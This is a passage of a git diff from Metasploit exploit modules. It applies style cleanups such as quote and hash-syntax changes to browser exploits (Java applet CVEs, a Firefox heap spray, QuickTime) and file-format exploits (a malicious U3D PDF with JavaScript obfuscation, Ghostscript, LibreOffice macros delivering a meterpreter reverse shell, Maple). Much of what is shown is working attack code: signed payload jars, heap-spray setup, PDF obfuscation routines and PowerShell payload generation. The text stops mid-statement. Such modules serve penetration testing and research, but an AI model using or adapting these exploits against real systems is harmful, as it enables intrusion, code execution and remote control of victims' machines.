!request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("Handling request") + print_status('Handling request') send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end p = regenerate_payload(cli) - if not p - print_error("Failed to generate the payload.") + if !p + print_error('Failed to generate the payload.') # Send them a 404 so the browser doesn't hang waiting for data # that will never come. send_not_found(cli) @@ -143,46 +143,46 @@ class MetasploitModule < Msf::Exploit::Remote # If we haven't returned yet, then this is a request for our applet # jar, build one for this victim. - jar = p.encoded_jar(:random => true) + jar = p.encoded_jar(random: true) - jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class) + jar.add_file("#{datastore['APPLETNAME']}.class", @applet_class) - jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}") + jar.build_manifest(main_class: 'metasploit.Payload', app_name: "#{datastore['APPLETNAME']}") jar.sign(@key, @cert, @ca_certs) # File.open("payload.jar", "wb") { |f| f.write(jar.to_s) } print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...") - send_response(cli, jar.to_s, { 'Content-Type' => "application/octet-stream" }) + send_response(cli, jar.to_s, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def load_applet_class - data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname) - if datastore["APPLETNAME"] - unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/ - fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)") + data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname) + if datastore['APPLETNAME'] + unless datastore['APPLETNAME'] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/ + fail_with(Failure::BadConfig, 'APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)') end - siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) } + siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) } # Java strings are prefixed with a 2-byte, big endian length - find_me = ["SiteLoader".length].pack("n") + "SiteLoader" + find_me = ['SiteLoader'.length].pack('n') + 'SiteLoader' idx = siteloader.index(find_me) - len = [datastore["APPLETNAME"].length].pack("n") + len = [datastore['APPLETNAME'].length].pack('n') # Now replace it with the new class name - siteloader[idx, "SiteLoader".length + 2] = len + datastore["APPLETNAME"] + siteloader[idx, 'SiteLoader'.length + 2] = len + datastore['APPLETNAME'] else # Don't need to replace anything, just read it in - siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) } + siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) } end @applet_class = siteloader end def load_cert - if datastore["SigningCert"] - cert_str = File.open(datastore["SigningCert"], "rb") { |fd| fd.read(fd.stat.size) } + if datastore['SigningCert'] + cert_str = File.open(datastore['SigningCert'], 'rb') { |fd| fd.read(fd.stat.size) } begin - pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"]) + pfx = OpenSSL::PKCS12.new(cert_str, datastore['SigningKeyPass']) @cert = pfx.certificate @key = pfx.key @ca_certs = pfx.ca_certs @@ -196,23 +196,23 @@ class MetasploitModule < Msf::Exploit::Remote @ca_certs << OpenSSL::X509::Certificate.new(certs.shift) end - if datastore["SigningKey"] and File.file?(datastore["SigningKey"]) - key_str = File.open(datastore["SigningKey"], "rb") { |fd| fd.read(fd.stat.size) } + if datastore['SigningKey'] and File.file?(datastore['SigningKey']) + File.open(datastore['SigningKey'], 'rb') { |fd| fd.read(fd.stat.size) } else - key_str = cert_str + cert_str end # First try it as RSA and fallback to DSA if that doesn't work begin - @key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"]) - rescue OpenSSL::PKey::RSAError => e - @key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"]) + @key = OpenSSL::PKey::RSA.new(cert_str, datastore['SigningKeyPass']) + rescue OpenSSL::PKey::RSAError + @key = OpenSSL::PKey::DSA.new(cert_str, datastore['SigningKeyPass']) end end else # Name.parse uses a simple regex that isn't smart enough to allow # slashes or commas in values, just remove them. - certcn = datastore["CERTCN"].gsub(%r|[/,]|, "") + certcn = datastore['CERTCN'].gsub(%r{[/,]}, '') x509_name = OpenSSL::X509::Name.parse( "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}" ) @@ -231,26 +231,26 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_html - html = %Q|Loading, Please Wait...\n| - html << %Q|

Loading, Please Wait...

\n| - html << %Q|Loading, Please Wait...\n) + html << %(

Loading, Please Wait...

\n) + html << %(\n| + html << %( code="SiteLoader" width="1" height="1">\n) else - html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n| + html << %( code="#{datastore['APPLETNAME']}" width="1" height="1">\n) end - html << %Q|\n| + html << %(
\n) return html end # Currently unused until we ship a java compiler of some sort def applet_code - applet = <<~EOS + <<~EOS import java.applet.*; import metasploit.*; - public class #{datastore["APPLETNAME"]} extends Applet { + public class #{datastore['APPLETNAME']} extends Applet { public void init() { try { Payload.main(null); diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 82fe05daff..b1ec8ebb49 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -73,28 +73,28 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class") - @color_model_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class") - @color_space_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorModel.class') + @color_model_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorSpace.class') + @color_space_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @color_model_class_name = rand_text_alpha("MyColorModel".length) - @color_space_class_name = rand_text_alpha("MyColorSpace".length) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @color_model_class_name = rand_text_alpha('MyColorModel'.length) + @color_space_class_name = rand_text_alpha('MyColorSpace'.length) - @exploit_class.gsub!("Exploit", @exploit_class_name) - @exploit_class.gsub!("MyColorModel", @color_model_class_name) - @exploit_class.gsub!("MyColorSpace", @color_space_class_name) + @exploit_class.gsub!('Exploit', @exploit_class_name) + @exploit_class.gsub!('MyColorModel', @color_model_class_name) + @exploit_class.gsub!('MyColorSpace', @color_space_class_name) - @color_model_class.gsub!("Exploit", @exploit_class_name) - @color_model_class.gsub!("MyColorModel", @color_model_class_name) - @color_model_class.gsub!("MyColorSpace", @color_space_class_name) + @color_model_class.gsub!('Exploit', @exploit_class_name) + @color_model_class.gsub!('MyColorModel', @color_model_class_name) + @color_model_class.gsub!('MyColorSpace', @color_space_class_name) - @color_space_class.gsub!("Exploit", @exploit_class_name) - @color_space_class.gsub!("MyColorModel", @color_model_class_name) - @color_space_class.gsub!("MyColorSpace", @color_space_class_name) + @color_space_class.gsub!('Exploit', @exploit_class_name) + @color_space_class.gsub!('MyColorModel', @color_model_class_name) + @color_space_class.gsub!('MyColorSpace', @color_space_class_name) super end @@ -102,26 +102,26 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) vprint_status("Requesting: #{request.uri}") if request.uri !~ /\.jar$/i - if not request.uri =~ /\/$/ - vprint_status("Sending redirect...") + if !(request.uri =~ %r{/$}) + vprint_status('Sending redirect...') send_redirect(cli, "#{get_resource}/", '') return end - print_status("Sending HTML...") + print_status('Sending HTML...') send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end - print_status("Sending .jar file...") + print_status('Sending .jar file...') send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' }) handler(cli) end def generate_html - jar_name = rand_text_alpha(5 + rand(3)) - html = %Q| + jar_name = rand_text_alpha(rand(5..7)) + html = %( @@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) html = html.gsub(/^ {4}/, '') return html end @@ -141,14 +141,14 @@ class MetasploitModule < Msf::Exploit::Remote jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class) jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest return jar.pack diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index 2830b86adb..183c3a20b3 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ @@ -69,22 +69,22 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("#{self.name} handling request") + print_status("#{name} handling request") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end paths = [ - [ "vuln", "Exploit.class" ], - [ "vuln", "Exploit$1.class" ], - [ "vuln", "Link.class" ], + [ 'vuln', 'Exploit.class' ], + [ 'vuln', 'Exploit$1.class' ], + [ 'vuln', 'Link.class' ], ] p = regenerate_payload(cli) @@ -92,28 +92,28 @@ class MetasploitModule < Msf::Exploit::Remote jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| - full = path[0, idx].join("/") + "/" + full = path[0, idx].join('/') + '/' if !(jar.entries.map { |e| e.name }.include?(full)) jar.add_file(full, '') end end - fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2010-0840", path), "rb") + fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb') data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) + jar.add_file(path.join('/'), data) fd.close end - print_status("Sending Applet.jar") - send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) + print_status('Sending Applet.jar') + send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_html - html = "Loading, Please Wait..." - html += "

Loading, Please Wait...

" - html += "" - html += "" + html = 'Loading, Please Wait...' + html += '

Loading, Please Wait...

' + html += '' + html += '' return html end end diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index acd5af38e8..63ec3ad216 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) def initialize(info = {}) super( @@ -92,8 +92,8 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # load the static jar file - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2012-1723.jar") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-1723.jar') + fd = File.open(path, 'rb') @jar_data = fd.read(fd.stat.size) fd.close @@ -101,21 +101,21 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - data = "" - host = "" - port = "" + data = '' + host = '' + port = '' - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("Sending #{self.name}") + print_status("Sending #{name}") payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') return end @@ -124,17 +124,17 @@ class MetasploitModule < Msf::Exploit::Remote jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] - vprint_status("Sending java reverse shell") + vprint_status('Sending java reverse shell') else port = datastore['LPORT'] host = cli.peerhost - vprint_status("Java bind shell") + vprint_status('Java bind shell') end if jar print_status("Generated jar to drop (#{jar.length} bytes).") - jar = Rex::Text.to_hex(jar, prefix = "") + jar = Rex::Text.to_hex(jar, '') else - print_error("Failed to generate the executable.") + print_error('Failed to generate the executable.') return end else @@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote data = generate_payload_exe print_status("Generated executable to drop (#{data.length} bytes).") - data = Rex::Text.to_hex(data, prefix = "") + data = Rex::Text.to_hex(data, '') end @@ -151,26 +151,26 @@ class MetasploitModule < Msf::Exploit::Remote return end - print_status("Sending jar") - send_response(cli, generate_jar(), { 'Content-Type' => "application/octet-stream" }) + print_status('Sending jar') + send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end - def generate_html(data, jar, host, port) - jar_name = rand_text_alpha(rand(6) + 3) + ".jar" + def generate_html(data, jar, host, _port) + jar_name = rand_text_alpha(rand(3..8)) + '.jar' - html = "" - html += "" + html = '' + html += '' html += "" html += "" if data html += "" if jar html += "" if host - html += "" + html += '' return html end - def generate_jar() + def generate_jar @jar_data end end diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 741fa7c301..88f9832b8a 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { 'Space' => 400, - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Targets' => [ # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Arch' => ARCH_X86, - 'Ret' => 0x0c0c0c0c, + 'Ret' => 0x0c0c0c0c } ], ], @@ -69,11 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) - print_status("Sending #{self.name}") + print_status("Sending #{name}") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload @@ -82,14 +82,14 @@ class MetasploitModule < Msf::Exploit::Remote def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch)) + Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch)) - spray_to = sprintf("0x%.8x", target.ret) - spray_slide1 = Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch)) - spray_slide2 = Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch)) - eax_address = sprintf("0x%.8x", target.ret) + sprintf('0x%.8x', target.ret) + Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch)) + Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch)) + eax_address = sprintf('0x%.8x', target.ret) - return %Q| + return %| #{html_ftr} - ^ - when get_resource() - print_status("Sending #{self.name} for request #{request.uri}") + ) + when get_resource + print_status("Sending #{name} for request #{request.uri}") - js = %Q^ + js = %^ if (window.opera) { var wnd = window; while (wnd.parent != wnd) { @@ -155,13 +155,13 @@ class MetasploitModule < Msf::Exploit::Remote wnd.location = url + "?history# #{html_ftr} - ^ + ) else print_status("Sending 404 for request #{request.uri}") send_not_found(cli) diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index c24aa56a31..f731e11c8c 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -57,14 +57,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Quicktime 7 on Mac OS X PPC', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Quicktime 7 on Mac OS X x86', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -81,8 +81,8 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # load the class data - path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'QTJavaExploit.class') + fd = File.open(path, 'rb') @class_data = fd.read(fd.stat.size) fd.close @@ -98,14 +98,14 @@ class MetasploitModule < Msf::Exploit::Remote if (target.name =~ /Automatic/) case req.headers['User-Agent'] when /Windows/i - print_status("Choosing a Windows target") - @targetcache[cli.peerhost][:target] = self.targets[1] + print_status('Choosing a Windows target') + @targetcache[cli.peerhost][:target] = targets[1] when /PPC Mac OS X/i - print_status("Choosing a Mac OS X PPC target") - @targetcache[cli.peerhost][:target] = self.targets[2] + print_status('Choosing a Mac OS X PPC target') + @targetcache[cli.peerhost][:target] = targets[2] when /Intel Mac OS X/i - print_status("Choosing a Mac OS X x86 target") - @targetcache[cli.peerhost][:target] = self.targets[3] + print_status('Choosing a Mac OS X x86 target') + @targetcache[cli.peerhost][:target] = targets[3] end end @@ -121,33 +121,33 @@ class MetasploitModule < Msf::Exploit::Remote # Request processing - if (not req.uri.match(/\.class$/i)) + if (!req.uri.match(/\.class$/i)) # Redirect to the base directory so the applet code loads... - if (not req.uri.match(/\/$/)) - send_redirect(cli, get_resource() + '/', '') + if (!req.uri.match(%r{/$})) + send_redirect(cli, get_resource + '/', '') return end # Display the applet loading HTML - print_status("Sending HTML") - send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' }) + print_status('Sending HTML') + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end # Send the actual applet over - print_status("Sending applet") + print_status('Sending applet') send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' }) # Handle the payload handler(cli) end - def generate_html() + def generate_html return "" end - def generate_applet(cli, req) + def generate_applet(cli, _req) this_target = nil if (target.name =~ /Automatic/) if (@targetcache[cli.peerhost][:target]) @@ -199,9 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote off -= 1 while (cnt < buff.length) cnt += 1 - while (!(data[off - 1] == 0x10 && data[off + 1] == 0x54)) - off += 1 - end + off += 1 until ((data[off - 1] == 0x10 && data[off + 1] == 0x54)) data[off] = buff[cnt - 1] off += 1 end diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index e3c6eb3b00..735156b037 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1024, @@ -150,12 +150,12 @@ class MetasploitModule < Msf::Exploit::Remote # Obfuscate it up a bit script = obfuscate_js(script, 'Symbols' => { - 'Variables' => %W{pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz}, - 'Methods' => %W{mkSlice spray} + 'Variables' => %w[pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz], + 'Methods' => %w[mkSlice spray] }).to_s # create the u3d stuff - u3d = make_u3d_stream(target['Index'], "E" * 11) + u3d = make_u3d_stream(target['Index'], 'E' * 11) # Create the pdf pdf = make_pdf(script, u3d) @@ -172,9 +172,9 @@ class MetasploitModule < Msf::Exploit::Remote end def random_non_ascii_string(count) - result = "" + result = '' count.times do - result << (rand(128) + 128).chr + result << (rand(128..255)).chr end result end @@ -184,15 +184,15 @@ class MetasploitModule < Msf::Exploit::Remote end def io_ref(id) - "%d 0 R" % id + '%d 0 R' % id end # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def n_obfu(str) - result = "" + result = '' str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' - result << "#%x" % c.unpack("C*")[0] + result << '#%x' % c.unpack('C*')[0] else result << c end @@ -201,17 +201,17 @@ class MetasploitModule < Msf::Exploit::Remote end def ascii_hex_whitespace_encode(str) - result = "" - whitespace = "" + result = '' + whitespace = '' str.each_byte do |b| - result << whitespace << "%02x" % b - whitespace = " " * (rand(3) + 1) + result << whitespace << '%02x' % b + whitespace = ' ' * (rand(1..3)) end - result << ">" + result << '>' end def u3d_pad(str, char = "\x00") - ret = "" + ret = '' if (str.length % 4) > 0 ret << char * (4 - (str.length % 4)) end @@ -325,7 +325,7 @@ class MetasploitModule < Msf::Exploit::Remote # build the U3D header (length will be patched in later) hdr_data = [1, 0].pack('n*') # version info hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV') - meta_str1 = "alalala0" + meta_str1 = 'alalala0' meta_str2 = "\xa8" * 1024 hdr_meta = [1].pack('V') hdr_meta << [meta_str1.length].pack('v') @@ -401,7 +401,7 @@ class MetasploitModule < Msf::Exploit::Remote cont_data << [index].pack('V') # split position index # unknown data cont_data << [1].pack('V') * 10 - cont_data << "Feli" * 20 + cont_data << 'Feli' * 20 mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV') mesh_cont << cont_data mesh_cont << u3d_pad(cont_data) @@ -418,90 +418,90 @@ class MetasploitModule < Msf::Exploit::Remote def make_pdf(js, u3d_stream) xref = [] eol = "\x0a" - obj_end = "" << eol << "endobj" << eol + obj_end = '' << eol << 'endobj' << eol # the header - pdf = "%PDF-1.7" << eol + pdf = '%PDF-1.7' << eol # filename/comment - pdf << "%" << random_non_ascii_string(4) << eol + pdf << '%' << random_non_ascii_string(4) << eol # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) - pdf << io_def(1) << n_obfu("<>" % compressed.length) << eol - pdf << "stream" << eol + pdf << io_def(1) << n_obfu('<>' % compressed.length) << eol + pdf << 'stream' << eol pdf << compressed << eol - pdf << "endstream" << eol + pdf << 'endstream' << eol pdf << obj_end # catalog xref << pdf.length - pdf << io_def(3) << n_obfu("<>") + pdf << io_def(3) << n_obfu('<>') pdf << obj_end # outline xref << pdf.length - pdf << io_def(4) << n_obfu("<>") + pdf << io_def(4) << n_obfu('<>') pdf << obj_end # kids xref << pdf.length - pdf << io_def(5) << n_obfu("<>") + pdf << n_obfu(']>>') pdf << obj_end # u3d stream xref << pdf.length - pdf << io_def(6) << n_obfu("<>" % u3d_stream.length) << eol - pdf << "stream" << eol + pdf << io_def(6) << n_obfu('<>' % u3d_stream.length) << eol + pdf << 'stream' << eol pdf << u3d_stream << eol - pdf << "endstream" + pdf << 'endstream' pdf << obj_end # u3d annotation object xref << pdf.length - pdf << io_def(7) << n_obfu("<>" - pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>") + pdf << io_def(7) << n_obfu('<>' + pdf << n_obfu('/Rect [0 0 640 480]/3DD ') << io_ref(6) << n_obfu('/F 7>>') pdf << obj_end # js dict xref << pdf.length - pdf << io_def(8) << n_obfu("<>" << obj_end + pdf << io_def(8) << n_obfu('<>' << obj_end # page 0 (empty) xref << pdf.length - pdf << io_def(9) << n_obfu("<>") + pdf << io_def(9) << n_obfu('<>') pdf << obj_end # page 1 (u3d) xref << pdf.length - pdf << io_def(10) << n_obfu("<>") + pdf << io_def(10) << n_obfu('<>') pdf << obj_end # xrefs xrefPosition = pdf.length - pdf << "xref" << eol - pdf << "0 %d" % (xref.length + 1) << eol - pdf << "0000000000 65535 f" << eol + pdf << 'xref' << eol + pdf << '0 %d' % (xref.length + 1) << eol + pdf << '0000000000 65535 f' << eol xref.each do |index| - pdf << "%010d 00000 n" % index << eol + pdf << '%010d 00000 n' % index << eol end # trailer - pdf << "trailer" << eol - pdf << n_obfu("<>" << eol - pdf << "startxref" << eol - pdf << xrefPosition.to_s() << eol - pdf << "%%EOF" << eol + pdf << 'trailer' << eol + pdf << n_obfu('<>' << eol + pdf << 'startxref' << eol + pdf << xrefPosition.to_s << eol + pdf << '%%EOF' << eol end end diff --git a/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb b/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb index e1a4335309..e28503dee2 100644 --- a/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb +++ b/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb @@ -41,25 +41,31 @@ class MetasploitModule < Msf::Exploit 'Targets' => [ [ 'Unix (In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { - 'Space' => 4089, # 4096 total - 'DisableNops' => true + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Space' => 4089, # 4096 total + 'DisableNops' => true + } } ], [ 'PowerShell (In-Memory)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :psh_memory + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :psh_memory + } ], [ 'Linux (Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } ] ], 'DefaultTarget' => 0, diff --git a/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb b/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb index ebd95b93d0..1a311dee0c 100644 --- a/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb +++ b/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb @@ -55,11 +55,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Payload' => 'linux/x86/meterpreter/reverse_tcp', 'DefaultOptions' => { 'PrependFork' => true }, - 'CmdStagerFlavor' => 'printf', + 'CmdStagerFlavor' => 'printf' } ] ], - 'DisclosureDate' => "2018-10-18", + 'DisclosureDate' => '2018-10-18', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, @@ -79,9 +79,9 @@ class MetasploitModule < Msf::Exploit::Remote def gen_windows_cmd opts = { - :remove_comspec => true, - :method => 'reflection', - :encode_final_payload => true + remove_comspec: true, + method: 'reflection', + encode_final_payload: true } @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts) @cmd << ' && echo' @@ -97,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote # file from Alex Inführ's PoC post referenced above fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb')) - libre_file = ERB.new(fodt_file).result(binding()) + libre_file = ERB.new(fodt_file).result(binding) libre_file rescue Errno::ENOENT fail_with(Failure::NotFound, 'Cannot find template file') diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 0e0e21cbe9..0f7b8a2804 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1024, 'BadChars' => '', - 'DisableNops' => true, + 'DisableNops' => true # 'Compat' => # { # 'PayloadType' => 'cmd', @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Universal CMD', { 'Arch' => ARCH_CMD, - 'Platform' => %w{linux unix win} + 'Platform' => %w[linux unix win] } ] @@ -105,18 +105,17 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - cmd = '' content = '' if target['Arch'] != ARCH_CMD # Get payload as executable on whatever platform binary = generate_payload_exe # Get filename and random variable name for file handle in script - fname = rand_text_alpha(3 + rand(15)) + fname = 